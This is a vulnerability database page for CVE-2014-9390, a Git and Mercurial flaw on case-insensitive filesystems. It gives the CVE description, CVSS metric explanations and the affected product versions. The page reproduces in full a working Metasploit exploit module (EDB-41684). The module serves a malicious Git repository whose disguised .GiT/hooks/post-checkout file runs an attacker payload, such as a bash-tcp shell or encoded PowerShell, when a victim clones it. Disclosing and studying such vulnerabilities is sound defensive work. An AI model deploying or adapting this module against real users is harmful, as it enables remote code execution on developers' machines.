CVE-2014-9390 : Detail

CVE-2014-9390

9.8
/
Critical
A03-Injection
87.36%V3
Network
2020-02-12
00h58 +00:00
2020-09-09
15h07 +00:00
CVE.org
NVD
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CVE Descriptions

Git before 1.8.5.6, 1.9.x before 1.9.5, 2.0.x before 2.0.5, 2.1.x before 2.1.4, and 2.2.x before 2.2.1 on Windows and OS X; Mercurial before 3.2.3 on Windows and OS X; Apple Xcode before 6.2 beta 3; mine all versions before 08-12-2014; libgit2 all versions up to 0.21.2; Egit all versions before 08-12-2014; and JGit all versions before 08-12-2014 allow remote Git servers to execute arbitrary commands via a tree containing a crafted .git/config file with (1) an ignorable Unicode codepoint, (2) a git~1/config representation, or (3) mixed case that is improperly handled on a case-insensitive filesystem.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41684

Publication date : 2014-12-17 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Powershell def initialize(info = {}) super(update_info( info, 'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390', 'Description' => %q( This module exploits CVE-2014-9390, which affects Git (versions less than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions less than 3.2.3) and describes three vulnerabilities. On operating systems which have case-insensitive file systems, like Windows and OS X, Git clients can be convinced to retrieve and overwrite sensitive configuration files in the .git directory which can allow arbitrary code execution if a vulnerable client can be convinced to perform certain actions (for example, a checkout) against a malicious Git repository. A second vulnerability with similar characteristics also exists in both Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where certain Unicode codepoints are ignorable. The third vulnerability with similar characteristics only affects Mercurial clients on Windows, where Windows "short names" (MS-DOS-compatible 8.3 format) are supported. Today this module only truly supports the first vulnerability (Git clients on case-insensitive file systems) but has the functionality to support the remaining two with a little work. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module ], 'References' => [ ['CVE', '2014-9390'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'], ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'], ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'], ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'], ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'], ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'], ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'], ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a'] ], 'DisclosureDate' => 'Dec 18 2014', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic bash-tcp perl' } } } ], [ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ARCH_X86, ARCH_X64] } ] ], 'DefaultTarget' => 0)) register_options( [ OptBool.new('GIT', [true, 'Exploit Git clients', true]) ] ) register_advanced_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']), OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']), OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']), OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false]) ] ) end def setup # the exploit requires that we act enough like a real Mercurial HTTP instance, # so we keep a mapping of all of the files and the corresponding data we'll # send back along with a trigger file that signifies that the git/mercurial # client has fetched the malicious content. @repo_data = { git: { files: {}, trigger: nil }, mercurial: { files: {}, trigger: nil } } unless datastore['GIT'] || datastore['MERCURIAL'] fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL') end setup_git setup_mercurial super end def setup_git return unless datastore['GIT'] # URI must start with a / unless git_uri && git_uri =~ /^\// fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end # sanity check the malicious hook: if datastore['GIT_HOOK'].blank? fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank') end # In .git/hooks/ directory, specially named files are shell scripts that # are executed when particular events occur. For example, if # .git/hooks/post-checkout was an executable shell script, a git client # would execute that file every time anything is checked out. There are # various other files that can be used to achieve similar goals but related # to committing, updating, etc. # # This vulnerability allows a specially crafted file to bypass Git's # blacklist and overwrite the sensitive .git/hooks/ files which can allow # arbitrary code execution if a vulnerable Git client can be convinced to # interact with a malicious Git repository. # # This builds a fake git repository using the knowledge from: # # http://schacon.github.io/gitbook/7_how_git_stores_objects.html # http://schacon.github.io/gitbook/7_browsing_git_objects.html case target.name when 'Automatic' full_cmd = "#!/bin/sh\n#{payload.encoded}\n" when 'Windows Powershell' psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true) full_cmd = "#!/bin/sh\n#{psh}" end sha1, content = build_object('blob', full_cmd) trigger = "/objects/#{get_path(sha1)}" @repo_data[:git][:trigger] = trigger @repo_data[:git][:files][trigger] = content # build tree that points to the blob sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build a tree that points to the hooks directory in which the hook lives, called hooks sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build a tree that points to the partially uppercased .git directory in # which hooks live variants = [] %w(g G). each do |g| %w(i I).each do |i| %w(t T).each do |t| git = g + i + t variants << git unless git.chars.none? { |c| c == c.upcase } end end end git_dir = '.' + variants.sample sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build the supposed commit that dropped this file, which has a random user/company email = Rex::Text.rand_mail_address first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten full_name = "#{first.capitalize} #{last.capitalize}" tstamp = Time.now.to_i author_time = rand(tstamp) commit_time = rand(author_time) tz_off = rand(10) commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ "\n" \ "Initial commit to open git repository for #{company}!\n" if datastore['VERBOSE'] vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:") commit.each_line { |l| vprint_status(l.strip) } end sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build HEAD @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" # lastly, build refs @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end def setup_mercurial return unless datastore['MERCURIAL'] # URI must start with a / unless mercurial_uri && mercurial_uri =~ /^\// fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /') end # sanity check the malicious hook if datastore['MERCURIAL_HOOK'].blank? fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank') end # we fake the Mercurial HTTP protocol such that we are compliant as possible but # also as simple as possible so that we don't have to support all of the protocol # complexities. Taken from: # http://mercurial.selenic.com/wiki/HttpCommandProtocol # http://selenic.com/hg/file/tip/mercurial/wireproto.py @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN' fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814' @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n" # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo") # TODO: finish building the fake repository end # Build's a Git object def build_object(type, content) # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html header = "#{type} #{content.size}\0" store = header + content [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] end # Returns the Git object path name that a file with the provided SHA1 will reside in def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end def exploit super end def primer # add the git and mercurial URIs as necessary if datastore['GIT'] hardcoded_uripath(git_uri) print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") end if datastore['MERCURIAL'] hardcoded_uripath(mercurial_uri) print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}") end end # handles routing any request to the mock git, mercurial or simple HTML as necessary def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version if (user_agent = req.headers['User-Agent']) if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri) do_mercurial(cli, req) return end end do_html(cli, req) end # simulates a Git HTTP server def do_git(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) if req_file == @repo_data[:git][:trigger] vprint_status("Trigger!") # Do we need this? If so, how can I update the payload which is in a file which # has already been built? # regenerate_payload handler(cli) end else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # simulates an HTTP server with simple HTML content that lists the fake # repositories available for cloning def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML if datastore['GIT'] this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" else resp.body << "<li><a>Git</a> (currently offline)</li>" end if datastore['MERCURIAL'] this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri) resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>" else resp.body << "<li><a>Mercurial</a> (currently offline)</li>" end resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end # simulates a Mercurial HTTP server def do_mercurial(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so uri = URI.parse(req.uri) req_path = uri.path req_path += "?#{uri.query}" if uri.query req_path.gsub!(/^#{mercurial_uri}/, '') if @repo_data[:mercurial][:files].key?(req_path) vprint_status("Sending Mercurial #{req_path}") send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1') if req_path == @repo_data[:mercurial][:trigger] vprint_status("Trigger!") # Do we need this? If so, how can I update the payload which is in a file which # has already been built? # regenerate_payload handler(cli) end else vprint_status("Mercurial #{req_path} doesn't exist") send_not_found(cli) end end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI def mercurial_uri return @mercurial_uri if @mercurial_uri if datastore['MERCURIAL_URI'].blank? @mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase else @mercurial_uri = datastore['MERCURIAL_URI'] end end end

Products Mentioned

Configuraton 0

Git-scm>>Git >> Version To (excluding) 1.8.5.6

Git-scm>>Git >> Version From (including) 1.9.0 To (excluding) 1.9.5

Git-scm>>Git >> Version From (including) 2.0.0 To (excluding) 2.0.5

Git-scm>>Git >> Version From (including) 2.1.0 To (excluding) 2.1.4

Git-scm>>Git >> Version From (including) 2.2.0 To (excluding) 2.2.1

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Mercurial>>Mercurial >> Version To (excluding) 3.2.3

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Apple>>Xcode >> Version To (including) 6.1.1

Apple>>Xcode >> Version 6.2

    Apple>>Xcode >> Version 6.2

    Configuraton 0

    Eclipse>>Egit >> Version To (excluding) 08-12-2014

    Eclipse>>Jgit >> Version To (excluding) 3.4.2

    Eclipse>>Jgit >> Version From (including) 3.5.0 To (excluding) 3.5.3

    Libgit2>>Libgit2 >> Version To (excluding) 0.21.3

    References

    https://libgit2.org/security/
    Tags : x_refsource_MISC